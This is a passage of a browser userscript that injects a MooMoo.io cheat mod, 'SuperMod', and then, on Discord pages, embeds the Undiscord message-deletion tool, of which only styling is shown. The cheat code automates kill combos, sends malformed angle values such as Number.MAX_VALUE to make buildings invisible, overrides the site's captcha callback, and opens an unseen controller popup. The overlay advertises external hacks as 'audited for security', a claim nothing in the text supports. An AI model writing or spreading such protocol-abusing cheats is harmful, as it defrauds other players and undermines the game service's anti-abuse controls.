                    placeStable(spikeType, closestenemyAngle + toRad(90)), placeStable(spikeType, closestenemyAngle - toRad(90)), placeStable(boostType, closestenemyAngle), dns(["33", [closestenemyAngle]])
                }

                function boostMill() {
                    var e = Math.atan2(mY - height / 2, mX - width / 2);
                    placeStable(millType, e + toRad(144)), placeStable(millType, e + toRad(144)), placeStable(millType, e + toRad(72)), placeStable(millType, e + toRad(72)), placeStable(boostType, e), dns(["33", [e]])
                };
                let hit360 = 0;
                setInterval(()=>{
                    if (hit360 || (document.getElementById("shield360").checked && myPlayer.weapon == 11)) dns(["2", [90**100]]);
                }, 25);
                checkPing.observe(ping, {
                    attributes: !1
                    , childList: !0
                    , subtree: !1
                }), cvs.addEventListener("mousedown", function (e) {
                    if (2 == e.button && !inInsta && onclick)
                        if (weapon == primary && 8 != weapon || "length" == weapon) weapon = primary, dns(["5", [primary, !0]]), inInsta = !0, dns(["2", [Math.atan2(mY - height / 2, mX - width / 2)]]), dns(["13c", [0, oHat, 0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, oAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
                            ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
                        }, 120);
                        else if (weapon == secondary) switch (weapon) {
                            case 15:
                                inInsta = !0, dns(["13c", [0, 1, 0]]), dns(["13c", [0, otAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
                                    ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
                                }, 120);
                                break;
                            case 10:
                                inInsta = !0, dns(["2", [Math.atan2(mY - height / 2, mX - width / 2)]]), dns(["13c", [0, tHat, 0]]), dns(["13c", [0, tAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
                                    ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
                                }, 120)
                        }
                    if (1 == e.button && (e.preventDefault(), dns(["5", ["length", !0]]), weapon = "length"), 0 == e.button && !inInsta && onclick)
                        if (weapon == primary && 8 != weapon || "length" == weapon) weapon = primary, dns(["5", [primary, !0]]), inInsta = !0, dns(["2", [Math.atan2(mY - height / 2, mX - width / 2)]]), dns(["13c", [0, tHat, 0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, tAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
                            ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
                        }, 120);
                        else if (weapon == secondary) switch (weapon) {
                            case 15:
                                inInsta = !0, dns(["13c", [0, otHat, 0]]), dns(["13c", [0, otAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
                                    ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
                                }, 120);
                                break;
                            case 10:
                                inInsta = !0, dns(["13c", [0, tHat, 0]]), dns(["13c", [0, tAcc, 1]]), dns(["7", [!0]]), setTimeout(function () {
                                    ahat || (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])), dns(["7", [!0]]), inInsta = !1
                                }, 120)
                        }
                }, !1);
                var repeater = function (e, n, o) {
                    var t = !1
                    , a = void 0;
                    return {
                        start: function (i) {
                            i == e && "chatbox" !== document.activeElement.id.toLowerCase() && (t = !0, void 0 === a && (a = setInterval(function () {
                                n(), t || (clearInterval(a), a = void 0)
                            }, o)))
                        }
                        , stop: function (n) {
                            n == e && "chatbox" !== document.activeElement.id.toLowerCase() && (t = !1)
                        }
                    }
                }
                , healer = repeater(kHeal, function () {
                    heal(), console.log("heal")
                }, 50)
                , boostPlacer = repeater(kTrap, function () {
                    place(boostType)
                }, 0)
                , spikeObjectPlacer = repeater(kSpike, function () {
                    place(spikeType)
                }, 0)
                , millObjectPlacer = repeater(kWindmill, function () {
                    var e = Math.atan2(mY - height / 2, mX - width / 2);
                    closestenemy ? place(millType, e) : (e = Math.round(e / toRad(45)) * toRad(45), placeStable(millType, e + (Math.PI*900000000)), placeStable(millType, toRad(90) + e  + (Math.PI*900000000)), placeStable(millType, toRad(-90) + e  + (Math.PI*900000000)))
                }, 0)
                , turretObjectPlacer = repeater(kTurret, function () {
                    place(turretType)
                }, 0)
                , boostSpikePlacer = repeater(kBS, boostSpike, 50)
                , boostMillPlacer = repeater(kBM, boostMill, 250);

                function checkElement(e) {
                    return null !== e.offsetParent
                }

                function toRad(e) {
                    return .01745329251 * e
                }

                function dist(e, n) {
                    return Math.sqrt(Math.pow(n.y - e[2], 2) + Math.pow(n.x - e[1], 2))
                }

                function update() {
                    for (var e = 0; 9 > e; e++) checkElement(document.getElementById("actionBarItem" + e.toString())) && (primary = e);
                    for (var n = 9; 16 > n; n++) checkElement(document.getElementById("actionBarItem" + n.toString())) && (secondary = n);
                    for (var o = 16; 19 > o; o++) checkElement(document.getElementById("actionBarItem" + o.toString())) && (foodType = o - 16);
                    for (var t = 19; 22 > t; t++) checkElement(document.getElementById("actionBarItem" + t.toString())) && (wallType = t - 16);
                    for (var a = 22; 26 > a; a++) checkElement(document.getElementById("actionBarItem" + a.toString())) && (spikeType = a - 16);
                    for (var i = 26; 29 > i; i++) checkElement(document.getElementById("actionBarItem" + i.toString())) && (millType = i - 16);
                    for (var l = 29; 31 > l; l++) checkElement(document.getElementById("actionBarItem" + l.toString())) && (mineType = l - 16);
                    for (var p = 31; 33 > p; p++) checkElement(document.getElementById("actionBarItem" + p.toString())) && (boostType = p - 16);
                    for (var r = 33; 36 > r; r++) checkElement(document.getElementById("actionBarItem" + r.toString())) && (turretType = r - 16);
                    for (var c = 36; 37 > c; c++) checkElement(document.getElementById("actionBarItem" + c.toString())) && (spawnpadType = c - 16);
                    for (var d = 37; 39 > d; d++) checkElement(document.getElementById("actionBarItem" + d.toString())) && (turretType = d - 16)
                }

                function placeStable(e) {
                    if (!document.getElementById("invisBuilds").checked) {
                        var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : Math.atan2(mY - height / 2, mX - width / 2);
                        dns(["5", [e, null]]), dns(["c", [1, n]]), dns(["c", [0, n]]), dns(["5", [weapon, !0]])
                    } else {
                        var n = arguments.length > 1 && void 0 !== arguments[1] ? arguments[1] : Math.atan2(mY - height / 2, mX - width / 2); n += Number.MAX_VALUE;
                        dns(["5", [e, null]]), dns(["c", [1, n]]), dns(["c", [0, n]]), dns(["5", [weapon, !0]])
                    };
                }

                let millToggle = 0;

                function doHatCycle() {
                    dns(["13c", [0, 11, 0]]), dns(["13c", [0, 21, 1]]), setTimeout(function () {
                        dns(["13c", [0, 7, 0]]), dns(["13c", [0, 18, 1]])
                    }, 300), setTimeout(function () {
                        dns(["13c", [0, 55, 0]]), dns(["13c", [0, 13, 1]])
                    }, 600), setTimeout(function () {
                        dns(["13c", [0, 40, 0]]), dns(["13c", [0, 19, 1]])
                    }, 900), setTimeout(function () {
                        dns(["13c", [0, 6, 0]]), dns(["13c", [0, 21, 1]])
                    }, 1200), setTimeout(function () {
                        dns(["13c", [0, 26, 0]]), dns(["13c", [0, 13, 1]])
                    }, 1500), setTimeout(function () {
                        dns(["13c", [0, 12, 0]]), dns(["13c", [0, 19, 1]])
                    }, 1800), setTimeout(function () {
                        dns(["13c", [0, 21, 0]]), dns(["13c", [0, 18, 1]])
                    }, 2100), setTimeout(function () {
                        dns(["13c", [0, 53, 0]]), dns(["13c", [0, 21, 1]])
                    }, 2500)
                };

                let millInvisTypes = [10000000, 0, 90*100, 100000000, 1000000000];
                function getRandMtype() {
                    return millInvisTypes[Math.floor(Math.random() * millInvisTypes.length)];
                };

                const wrepeater = repeater(87, ()=>{
                    if (!millToggle) return;
                    place(millType, + toRad(50) + (Math.PI * getRandMtype()));
                    place(millType, + toRad(130) + (Math.PI * getRandMtype()));
                }, 50);

                const arepeater = repeater(65, ()=>{
                    if (!millToggle) return;
                    place(millType, + toRad(30) + (Math.PI * getRandMtype()));
                    place(millType, + toRad(-30) + (Math.PI * getRandMtype()));
                }, 50);

                const srepeater = repeater(83, ()=>{
                    if (!millToggle) return;
                    place(millType, + toRad(310) + (Math.PI * getRandMtype()));
                    place(millType, + toRad(230) + (Math.PI * getRandMtype()));
                }, 50);

                const drepeater = repeater(68, ()=>{
                    if (!millToggle) return;
                    place(millType, + toRad(140) + (Math.PI * getRandMtype()));
                    place(millType, + toRad(-140) + (Math.PI * getRandMtype()));
                }, 50);

                document.addEventListener("keydown", function (e) {
                    wrepeater.start(e.keyCode);
                    arepeater.start(e.keyCode);
                    srepeater.start(e.keyCode);
                    drepeater.start(e.keyCode);
                    if(e.keyCode == 188 && document.activeElement.id.toLowerCase() !== 'chatbox') {
                        millToggle = (millToggle + 1) % 2;
                        if (millToggle == 1) {
                            dns(["ch", ["autoMill: ON"]]);
                        } else {
                            dns(["ch", ["autoMill: OFF"]]);
                        }
                    };
                    if(e.keyCode == 190 && document.activeElement.id.toLowerCase() !== 'chatbox') {
                        hit360 = (hit360 + 1) % 2;
                        if (hit360 == 1) {
                            dns(["ch", ["360 hit: ON"]]);
                        } else {
                            dns(["ch", ["360 hit: OFF"]]);
                        };
                    };
                    spikeObjectPlacer.start(e.keyCode), healer.start(e.keyCode), boostPlacer.start(e.keyCode), boostSpikePlacer.start(e.keyCode), boostMillPlacer.start(e.keyCode), millObjectPlacer.start(e.keyCode), turretObjectPlacer.start(e.keyCode), 84 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && ("hat" == mode ? (clearInterval(hatID), mode = "", chat("Mode : None")) : "counter" == mode ? (mode = "", chat("Mode : None")) : (mode = "counter", chat("Mode : Counter Insta"))), 89 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && ("hat" == mode ? (clearInterval(hatID), mode = "", chat("Mode : None")) : "insta" == mode ? (mode = "", chat("Mode : None")) : (mode = "insta", chat("Mode : Auto Insta"))), 85 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && ("hat" == mode ? (clearInterval(hatID), mode = "", chat("Mode : None")) : (doHatCycle(), hatID = setInterval(function () {
                        doHatCycle()
                    }, 2500), mode = "hat", chat("Mode : Hat Cycler"))), 71 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && ("hat" == mode && clearInterval(hatID), mode = "", chat("Mode : None")), 1 == e.key && "chatbox" !== document.activeElement.id.toLowerCase() ? weapon = primary : 2 == e.key && "chatbox" !== document.activeElement.id.toLowerCase() && (weapon = secondary), e.keyCode == uneqiup && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? resetHat() : storeEquip(0) : e.keyCode == TankGearKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (oHat = tankGearhatID, snHat = tankGearhatID, ssHat = tankGearhatID) : (dns(["13c", [0, tHat, 0]]), dns(["13c", [0, tAcc, 1]])) : e.keyCode == SoldierHelmetKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (dHat = soldierHatIdentifier, ssHat = soldierHatIdentifier, snHat = soldierHatIdentifier) : (dns(["13c", [0, dHat, 0]]), dns(["13c", [0, dAcc, 1]])) : e.keyCode == BullHelmetKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (oHat = bullHelmetID, snHat = bullHelmetID, ssHat = bullHelmetID) : (dns(["13c", [0, oHat, 0]]), dns(["13c", [0, oAcc, 1]])) : e.keyCode == BoosterHatKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (ssHat = winterCapID, snHat = boostHatID, srHat = flipperHatID) : myPlayer.y < 2400 ? (dns(["13c", [0, ssHat, 0]]), dns(["13c", [0, ssAcc, 1]])) : myPlayer.y > 6850 && myPlayer.y < 7550 ? (dns(["13c", [0, srHat, 0]]), dns(["13c", [0, srAcc, 1]])) : (dns(["13c", [0, snHat, 0]]), dns(["13c", [0, snAcc, 1]])) : e.keyCode == EMPGearKey && "chatbox" !== document.activeElement.id.toLowerCase() ? ahat ? (oHat = EMPHatID, dHat = EMPHatID, snHat = EMPHatID, srHat = EMPHatID, ssHat = EMPHatID) : (dns(["13c", [0, eHat, 0]]), dns(["13c", [0, eAcc, 1]])) : e.keyCode == TurretKey && "chatbox" !== document.activeElement.id.toLowerCase() && (ahat ? (oHat = turretgearID, dHat = turretgearID, ssHat = turretgearID, srHat = turretgearID, snHat = turretgearID) : (dns(["13c", [0, otHat, 0]]), dns(["13c", [0, otAcc, 1]]))), 82 == e.keyCode && "chatbox" !== document.activeElement.id.toLowerCase() && insta && !inInsta && (inInsta = !0, iAim && (autoaim = !0), icBool && chat(iChat), dns(["13c", [0, 0, 1]]), dns(["7", [!0]]), iReverse ? (weapon = secondary, dns(["5", [secondary, !0]]), dns(["13c", [0, iHat2, 0]]), dns(["13c", [0, iAcc2, 1]]), setTimeout(function () {
                        dns(["13c", [0, iHat1, 0]]), dns(["13c", [0, iAcc1, 1]]), weapon = primary, dns(["5", [primary, !0]])
                    }, instaSpeedR / 2)) : (weapon = primary, dns(["5", [primary, !0]]), iSwitch || (iAim ? (placeStable(spikeType, closestenemyAngle + toRad(45)), placeStable(spikeType, closestenemyAngle - toRad(45))) : (placeStable(spikeType, Math.atan2(mY - height / 2, mX - width / 2) + toRad(45)), placeStable(spikeType, Math.atan2(mY - height / 2, mX - width / 2) - toRad(45)))), dns(["13c", [0, iHat1, 0]]), dns(["13c", [0, iAcc1, 1]]), setTimeout(function () {
                        dns(["13c", [0, iHat2, 0]]), dns(["13c", [0, iAcc2, 1]]), iSwitch && (weapon = secondary, dns(["5", [secondary, !0]]))
                    }, instaSpeed / 2)), setTimeout(function () {
                        weapon = primary, dns(["5", [primary, !0]]), dns(["7", [!0]]), dns(["13c", [0, iHat3, 0]]), dns(["13c", [0, iAcc3, 1]]), iAim && (autoaim = !1)
                    }, instaSpeed), setTimeout(function () {
                        inInsta = !1
                    }, instaSpeed + 100)), "-" != e.key || "chatbox" === document.activeElement.id.toLowerCase() || inInsta || (15 == secondary ? reload = 1650 : 13 == secondary ? reload = 400 : 12 == secondary ? reload = 850 : 9 == secondary ? reload = 750 : irBool && chat("</E\\>Couldn't Reload</E\\>")), "p" != e.key || "chatbox" === document.activeElement.id.toLowerCase() || inInsta || (inInsta = !0, 0 == primary ? (autoaim = !0, weapon = 0, dns(["5", [0, !0]]), dns(["13c", [0, 0, 1]]), dns(["13c", [0, 7, 0]]), dns(["7", [!0]]), setTimeout(function () {
                        dns(["6", [5]]), dns(["6", [17]]), dns(["6", [31]]), dns(["6", [23]]), dns(["6", [9]]), dns(["6", [33]]), weapon = 5
                    }, 80), setTimeout(function () {
                        dns(["6", [4]]), weapon = 4
                    }, 160), setTimeout(function () {
                        weapon = 9, dns(["5", [9, !0]]), dns(["13c", [0, 53, 0]])
                    }, 270), setTimeout(function () {
                        dns(["6", [15]]), weapon = 15
                    }, 370), setTimeout(function () {
                        autoaim = !1, inInsta = !1, dns(["7", [!0]]), weapon = 4, dns(["5", [4, !0]])
                    }, 500)) : 4 != primary && 3 != primary && 9 == secondary ? (autoaim = !0, weapon = 9, dns(["5", [9, !0]]), dns(["13c", [0, 53, 0]]), dns(["7", [!0]]), setTimeout(function () {
                        dns(["6", [12]]), weapon = 12
                    }, 100), setTimeout(function () {
                        dns(["6", [15]]), weapon = 15
                    }, 200), setTimeout(function () {
                        dns(["7", [!0]]), weapon = primary, dns(["5", [primary, !0]]), autoaim = !1, inInsta = !1
                    }, 400)) : 3 != primary && 5 != primary || 9 == secondary ? inInsta = !1 : (autoaim = !0, weapon = primary, dns(["5", [primary, !0]]), dns(["13c", [0, 7, 0]]), dns(["7", [!0]]), setTimeout(function () {
                        dns(["6", [4]]), weapon = 4
                    }, 110), setTimeout(function () {
                        dns(["6", [15]]), weapon = 15, dns(["5", [15, !0]]), dns(["13c", [0, 53, 0]])
                    }, 230), setTimeout(function () {
                        autoaim = !1, inInsta = !1, dns(["7", [!0]]), weapon = primary, dns(["5", [4, !0]])
                    }, 400)))
                }), document.addEventListener("keyup", function (e) {
                    wrepeater.stop(e.keyCode);
                    arepeater.stop(e.keyCode);
                    srepeater.stop(e.keyCode);
                    drepeater.stop(e.keyCode);
                    if (spikeObjectPlacer.stop(e.keyCode), boostPlacer.stop(e.keyCode), boostSpikePlacer.stop(e.keyCode), boostMillPlacer.stop(e.keyCode), millObjectPlacer.stop(e.keyCode), turretObjectPlacer.stop(e.keyCode), healer.stop(e.keyCode), e.keyCode == kBS || e.keyCode == kBM)
                        for (var n = 0; n < 5; n++) setTimeout(function () {
                            dns(["33", [null]])
                        }, 20 * n)
                });
            }
        }, 0);
    };

    let Zsetter = setInterval(()=>{
        unsafeWindow.captchaCallback = () => {
            unsafeWindow.captchaCallbackActivated = true;
            clearInterval(Zsetter);
        }; //dont really need this anymore ---- yea u do
    });

    let nBtnCSS = `font-size: 60px;background-color: black;color: white;border-color: black;`;
    let selBtnCSS = `font-size: 60px;background-color: white;color: black;border-color: black;`;
    unsafeWindow.displayP = x => {
        switch(x) {
            case 0:
                document.getElementById("internalPlugins").style.display = "block";
                document.getElementById("externalPlugins").style.display = "none";
                document.getElementById("loadExternalPlugins").style = nBtnCSS;
                document.getElementById("loadInternalPlugins").style = selBtnCSS;
                break;
            case 1:
                document.getElementById("internalPlugins").style.display = "none";
                document.getElementById("externalPlugins").style.display = "block";
                document.getElementById("loadExternalPlugins").style = selBtnCSS;
                document.getElementById("loadInternalPlugins").style = nBtnCSS;
                break;
        };
    };

    try {
        document.head.insertAdjacentHTML('afterend', `
    <div id="overlay"><center style="font-family: verdana; font-size: 50px; color: white;">
    <br>
    Mod Selector:<br><br><span style="font-size: 30px;">Click on one of the plugin options (internal or external) to see a list of scripts for each!</span><br>
    <div id="modMenus" style="display: block;
padding: 10px;
border-radius: 15px;
background-color: rgba(0, 0, 0, 0.25);
border-radius: 3px;">
<hr>
<span style="font-size: 60px;"><button onclick="window.displayP(0);" style="${selBtnCSS}" id="loadInternalPlugins">Internal Plugins</button> | <button onclick="window.displayP(1);" style="${nBtnCSS}"  id="loadExternalPlugins">External Plugins</button></span><br>
<div id="internalPlugins" style="display: block;">
<p style="font-size: 30px;">This is SuperMod, loaded internally, and it is the most popular MooMoo.io hack with several different updates and features, all well rounded to play normal mode or sandbox mode!</p>
<button class="modBtn" id="superModLoad">Use SuperMod</button>
</div>

<div id="externalPlugins" style="display: none;">
    <p style="font-size: 30px;">These are a ton of other loaded MooMoo.io hacks / plugins! These are external resources and are not developed by us, but they are audited for security and quality (think of it like an App Store)</p>
    <button class="modBtn" id="duneModLoad">Load Dune Mod</button>
</div>
<hr>
</div>
    </center></div>
    <style>
    #overlay {
  position: fixed; /* Sit on top of the page content */
  display: block; /* Hidden by default */
  width: 100%; /* Full width (cover the whole page) */
  height: 100%; /* Full height (cover the whole page) */
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  background-color: rgba(0,0,0,0.5); /* Black background with opacity */
  z-index: 9999999; /* Specify a stack order in case you're using a different order for other elements */
  cursor: pointer; /* Add a pointer on hover */
}

.modBtn {
  border-radius: 10px;
  position: relative;
  background-color: #4CAF50;
  border: none;
  font-size: 28px;
  color: #FFFFFF;
  padding: 20px;
  width: 200px;
  text-align: center;
  transition-duration: 0.4s;
  text-decoration: none;
  overflow: hidden;
  cursor: pointer;
}

.modBtn:after {
  content: "";
  background: #f1f1f1;
  display: block;
  position: absolute;
  padding-top: 300%;
  padding-left: 350%;
  margin-left: -20px !important;
  margin-top: -120%;
  opacity: 0;
  transition: all 0.8s
}

.modBtn:active:after {
  padding: 0;
  margin: 0;
  opacity: 1;
  transition: 0s
}

    </style>
    `);
    } catch(e) {
        unsafeWindow.onbeforeunload = false;
        window.location.reload();
    };
    let o_on = () => {document.getElementById("overlay").style.display = "block"};
    let o_off = () => {document.getElementById("overlay").style.display = "none"};

    let createSelector = (id, handler) => {
        document.getElementById(id).onclick = handler;
    };
    let alertFalse = () => {
        alert('please enable popups');
    };
    function fixSkip() {
        window.loadedScript = true;
        unsafeWindow.loadedScript = true; //doesnt work
    };
    createSelector("superModLoad", () => {
        fixSkip();
        execOpen && (execOpen = window.open(CONTROLLER_PAGE));
        if (execOpen == null) alertFalse();
        o_off();
        loadOldBundle();
        _init(true);
        setTimeout(hoistedStart, 500);
    });
    createSelector("duneModLoad", () => {
        fixSkip();
        execOpen && (execOpen = window.open(CONTROLLER_PAGE));
        if (execOpen == null) alertFalse();
        o_off();
        duneMod();
        setTimeout(hoistedStart, 500);
    });
} else if (["discordapp.com", "discord.com"].includes(hostname)) {
    //MIT Licensed, see https://greasyfork.org/en/scripts/406540-undiscord
    //USED WITH PERMISSION - https://www.buymeacoffee.com/vitim (go donate to him)
    window.addEventListener("load", function() {
        (function () {
            'use strict';
           
            var version = "5.0.3";
           
            var discordStyles = (`
          /* undiscord window */
          #undiscord.browser {
              box-shadow: var(--elevation-stroke), var(--elevation-high);
              overflow: hidden;
          }
           
          #undiscord.container,
          #undiscord .container {
              background-color: var(--background-secondary);
              border-radius: 8px;
              box-sizing: border-box;
              cursor: default;
              flex-direction: column;
          }
           
          #undiscord .header {
              background-color: var(--background-tertiary);
              height: 48px;
              align-items: center;
              min-height: 48px;
              padding: 0 16px;
              display: flex;
              color: var(--header-secondary);
          }
           
          #undiscord .header .icon {
              color: var(--interactive-normal);
              margin-right: 8px;
              flex-shrink: 0;
              width: 24;
              height: 24;
          }
           
          #undiscord .header .icon:hover {
              color: var(--interactive-hover);
          }
           
          #undiscord .header h3 {
              font-size: 16px;
              line-height: 20px;
              font-weight: 500;
              font-family: var(--font-display);
              color: var(--header-primary);
              flex-shrink: 0;
              margin-right: 16px;
          }
           
          #undiscord .header .spacer {
              flex-grow: 1;
          }
           
          #undiscord .header .vert-divider {
              width: 1px;
              height: 24px;
              background-color: var(--background-modifier-accent);
              margin-right: 16px;
              flex-shrink: 0;
          }
           
          #undiscord legend,
          #undiscord label {
              display: block;
              width: 100%;
              color: var(--header-secondary);
              font-size: 12px;
              line-height: 16px;
              font-weight: 500;
              text-transform: uppercase;
              cursor: default;
              font-family: var(--font-display);
              margin-bottom: 8px;
          }
           
          #undiscord .multiInput {
              display: flex;
              align-items: center;
              font-size: 16px;
              box-sizing: border-box;
              width: 100%;
              border-radius: 3px;
              color: var(--text-normal);
              background-color: var(--input-background);
              border: none;
              transition: border-color 0.2s ease-in-out 0s;
          }
           
          #undiscord .multiInput :first-child {
              flex-grow: 1;
          }
           
          #undiscord .multiInput button:last-child {
              margin-right: 4px;
          }
           
          #undiscord .input {
              font-size: 16px;
              box-sizing: border-box;
              width: 100%;
              border-radius: 3px;
              color: var(--text-normal);
              background-color: var(--input-background);
              border: none;
              transition: border-color 0.2s ease-in-out 0s;
           
              padding: 10px;
              height: 40px;
          }
           
          #undiscord fieldset {
              margin-top: 16px;
          }
           
          #undiscord .input-wrapper {
              display: flex;
              align-items: center;
              font-size: 16px;
              box-sizing: border-box;
              width: 100%;
              border-radius: 3px;
              color: var(--text-normal);
              background-color: var(--input-background);
              border: none;
              transition: border-color 0.2s ease-in-out 0s;
          }
           
          #undiscord input[type="text"],
          #undiscord input[type="search"],
          #undiscord input[type="password"],
          #undiscord input[type="datetime-local"],
          #undiscord input[type="number"] {
              font-size: 16px;
              box-sizing: border-box;
              width: 100%;
              border-radius: 3px;
              color: var(--text-normal);
              background-color: var(--input-background);
              border: none;
              transition: border-color 0.2s ease-in-out 0s;
              padding: 10px;
              height: 40px;
          }
           
          #undiscord .divider,
          #undiscord hr {
              border: none;
              margin-bottom: 24px;
              padding-bottom: 4px;
              border-bottom: 1px solid var(--background-modifier-accent);
          }
           
          #undiscord .sectionDescription {
              margin-bottom: 16px;
              color: var(--header-secondary);
              font-size: 14px;
              line-height: 20px;
              font-weight: 400;
          }
           
          #undiscord a {
              color: var(--text-link);
              text-decoration: none;
          }
           
          #undiscord .btn,
          #undiscord button {
              position: relative;
              display: flex;
              -webkit-box-pack: center;
              justify-content: center;
              -webkit-box-align: center;
              align-items: center;
              box-sizing: border-box;
              background: none;
              border: none;
              border-radius: 3px;
              font-size: 14px;
              font-weight: 500;
              line-height: 16px;
              padding: 2px 16px;
              user-select: none;
           
              /* sizeSmall */
              width: 60px;
              height: 32px;
              min-width: 60px;
              min-height: 32px;
           
              /* lookFilled colorPrimary */
              color: rgb(255, 255, 255);
              background-color: var(--button-secondary-background);
          }
           
          #undiscord .sizeMedium {
              width: 96px;
              height: 38px;
              min-width: 96px;
              min-height: 38px;
          }
           
          /* lookFilled colorPrimary */
          #undiscord .accent {
              background-color: var(--brand-experiment);
          }
           
          #undiscord .danger {
              background-color: var(--button-danger-background);
          }
           
          #undiscord .positive {
              background-color: var(--button-positive-background);
          }
           
           
          #undiscord .info {
              font-size: 12px;
              line-height: 16px;
              padding: 8px 10px;
              color: var(--text-muted);
          }
           
          /* Scrollbar */
          #undiscord .scroll::-webkit-scrollbar {
              width: 8px;
              height: 8px;
          }
           
          #undiscord .scroll::-webkit-scrollbar-corner {
              background-color: transparent;
          }
           
          #undiscord .scroll::-webkit-scrollbar-thumb {
              background-clip: padding-box;
              border: 2px solid transparent;
              border-radius: 4px;
              background-color: var(--scrollbar-thin-thumb);
              min-height: 40px;
          }
           
          #undiscord .scroll::-webkit-scrollbar-track {
              border-color: var(--scrollbar-thin-track);
              background-color: var(--scrollbar-thin-track);
              border: 2px solid var(--scrollbar-thin-track);
          }
           
          /* fade scrollbar */
          #undiscord .scroll::-webkit-scrollbar-thumb,
          #undiscord .scroll::-webkit-scrollbar-track {
              visibility: hidden;
          }
           
          #undiscord .scroll:hover::-webkit-scrollbar-thumb,
          #undiscord .scroll:hover::-webkit-scrollbar-track {
              visibility: visible;
          }
          `);
           
            var undiscordStyles = (`
          /**** Undiscord Button ****/
          #undicord-btn {
              position: relative;
              width: auto;
              height: 24px;
              margin: 0 8px;
              cursor: pointer;
              color: var(--interactive-normal);
              flex: 0 0 auto;
          }
           
          #undicord-btn progress {
              position: absolute;
              top: 7px;
              left: 5px;
              width: 14px;
              height: 14px;
          }
           
          /**** Undiscord Interface ****/
          #undiscord {
              position: fixed;
              z-index: 99;
              top: 44px;
              right: 10px;
              display: flex;
              flex-direction: column;
              width:800px;
              height: 80vh;
              min-width: 610px;
              max-width: 100vw;
              min-height: 448px;
              max-height: 100vh;
              color: var(--text-normal);
              border-radius: 4px;
              background-color: var(--background-secondary);
              box-shadow: var(--elevation-stroke), var(--elevation-high);
              will-change: top, left, width, height;
          }
           
          #undiscord .header .icon {
              cursor: pointer;
          }
           
          #undiscord .window-body {
              height: calc(100% - 48px);
          }
           
          #undiscord .sidebar {
              overflow: hidden scroll;
              overflow-y: auto;
              width: 270px;
              min-width: 250px;
              height: 100%;
              max-height: 100%;
              padding: 8px;
              background: var(--background-secondary);
          }
           
          #undiscord .main {
              display: flex;
              max-width: calc(100% - 250px);
              background-color: var(--background-primary);
              flex-grow: 1;
          }
           
          #undiscord #logArea {
              font-family: Consolas, Liberation Mono, Menlo, Courier, monospace;
              font-size: .75rem;
              overflow: auto;
              padding: 10px;
              user-select: text;
              flex-grow: 1;
              flex-grow: 1;
          }
           
          #undiscord .tbar {
              padding: 8px;
              background-color: var(--background-secondary-alt);
          }
           
          #undiscord .tbar button {
              margin-right: 4px;
              margin-bottom: 4px;
          }
           
          #undiscord .footer {
              cursor: se-resize;
          }
           
          /**** Elements ****/
           
          #undiscord summary {
              font-size: 16px;
              font-weight: 500;
              line-height: 20px;
              position: relative;
              overflow: hidden;
              margin-bottom: 2px;
              padding: 6px 10px;
              cursor: pointer;
              white-space: nowrap;
              text-overflow: ellipsis;
              color: var(--interactive-normal);
              border-radius: 4px;
              flex-shrink: 0;
          }
           
          #undiscord fieldset {
              padding-left: 8px;
          }
           
          /* help link */
          #undiscord legend a {
              float: right;
              text-transform: initial;
          }
           
          #undiscord progress {
              height: 8px;
              margin-top: 4px;
              flex-grow: 1;
              /* background-color: var(--background-primary);
              border-radius: 3px; */
          }
           
          /* #undiscord progress::-webkit-progress-value{
              background-color: var(--brand-experiment);
          } */
           
          /**** functional classes ****/
           
          #undiscord.redact .priv {
              display: none !important;
          }
           
          #undiscord:not(.redact) .mask {
              display: none !important;
          }
           
          #undiscord.redact [priv] {
              -webkit-text-security: disc !important;
          }
           
          #undiscord :disabled {
              display: none;
          }
           
          /**** layout misc ****/
           
          #undiscord,
          #undiscord * {
              box-sizing: border-box;
          }
           
          #undiscord .col {
              display: flex;
              flex-direction: column;
          }
           
          #undiscord .row {
              display: flex;
              flex-direction: row;
              align-items: center;
          }
           
          #undiscord .mb1 {
              margin-bottom: 8px;
          }
          `);
           
            var buttonHtml = (`
          <div id="undicord-btn" tabindex="0" role="button" aria-label="Delete Messages" title="Delete Messages with Undiscord">
              <svg aria-hidden="false" width="24" height="24" viewBox="0 0 24 24">
                  <path fill="currentColor" d="M15 3.999V2H9V3.999H3V5.999H21V3.999H15Z"></path>
                  <path fill="currentColor" d="M5 6.99902V18.999C5 20.101 5.897 20.999 7 20.999H17C18.103 20.999 19 20.101 19 18.999V6.99902H5ZM11 17H9V11H11V17ZM15 17H13V11H15V17Z"></path>
              </svg>
              <progress style="display:none;"></progress>
          </div>
          `);
           
            var undiscordTemplate = (`
          <div id="undiscord" class="browser container redact" style="display:none;">
              <div class="header">
                  <svg class="icon" aria-hidden="false" width="24" height="24" viewBox="0 0 24 24">
                      <path fill="currentColor" d="M15 3.999V2H9V3.999H3V5.999H21V3.999H15Z"></path>
                      <path fill="currentColor"
